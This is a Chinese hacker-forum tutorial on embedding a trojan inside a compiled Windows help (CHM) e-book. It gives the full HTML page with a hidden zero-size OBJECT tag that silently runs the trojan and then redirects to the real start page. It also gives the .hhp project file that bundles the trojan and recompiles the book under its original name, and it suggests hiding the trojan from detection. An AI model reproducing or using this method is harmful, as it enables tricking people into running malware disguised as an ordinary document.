文章作者:怪狗
信息来源:华夏黑客同盟
好啦!下面就让我带大家一步步打造个超级隐蔽的电子书木马吧!
首先准备好工具如下:
1:Microsoft HTML Help Workshop V1.32
电子书制作工具,由微软公司出的编程配套软件,可以帮助您建立 HTML 格式的帮助文件!当然也可以用Quick CHM等其他CHM格式的电子书制作工具;
2:超级木马一只(也就是一个你觉得最好的木马程序一个而已,相信大家比我熟悉),本文演示用“Window 按钮突破专家”这个小软件”;
3:现在最火爆的电子书籍(大哥们,不要拿咱们菜鸟的电脑教材开刀呀!)若干,当然如果你有能力自己做我也不反对,本文演示用Windows 2000的帮助文档WINNT\Help下的access.chm开刀!
准备好了吗?开始制作吧!
第一步:
打开access.chm,在右侧的空白处,点击右键菜单,选择属性,出现如图一的对话框:
=========== 在此插入图一 ==============
由上图中我们可以知道这个电子文档的默认主页是:accessibility_overview.htm,标题栏文字是:辅助选项
第二步:
制作一个可以让木马运行并且同时可以自动转到原电子书的默认主页的网页icyfox.htm,代码如下:
<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='accessibility_overview.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="Window 按钮突破专家.exe">
</OBJECT>
</BODY>
</HTML>
说明:把其中的accessibility_overview.htm改为你用的电子书的默认主页名,把“Window 按钮突破专家.exe”改为你的木马程序名!
另外,如果你的木马程序体积比较大,请相应的把上面的转向时间3改的值大一点!
在Windows 2003中默认在本地电脑域中好像并不允许OBJECT标签运行本地程序(我自己没装Windows 2003),所以不适合在Win2003使用!当然我们可以在代码中加入判断是否是Windows 2003的语句,来隐藏自己的木马!用navigator.appVersion属性判断!
第三步:
打开HTML Help Workshop,选择File菜单下的Decompile...项,对access.chm进行反编译,如图二:
=========== 在此插入图二 ==============
在反编译后的目录“G:\CHM木马”中可以看到access.hhc(对应帮助文档左侧的“目录”项)和access.hhk(对应帮助文档左侧的“索引”项);
第四步:
建立一个新的带有木马的电子书;
把“Window 按钮突破专家.exe”,也就是你的木马程序复制到反编译后的目录“G:\CHM木马”中,并在此目录下建立一个icyfox.hhp的文件(用记事本即可!),内容如下(注意;号后面的注释不要写上):
[OPTIONS]
Compatibility=1.1 Or later
Compiled file=access.chm ;把access.chm改为你要生成的电子书名
Default Window=Main
Language=0x804 中文(中国)
[WINDOWS]
Main="辅助选项","access.hhc","access.hhk","icyfox.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0
;把上面的"辅助选项"改为你第一步时得到的标题栏文字,"access.hhc"及"access.hhk"分别改为你第三步得到的文件名
[FILES]
icyfox.htm
Window 按钮突破专家.exe ;把它改为你要嵌入电子书的木马程序名
最后,用HTML Help Workshop打开icyfox.hhp,点击左侧最下面的编译按钮,稍等一会就可以在“G:\CHM木马”目录中发现已经编译好的带有木马的电子书access.chm,打开看看!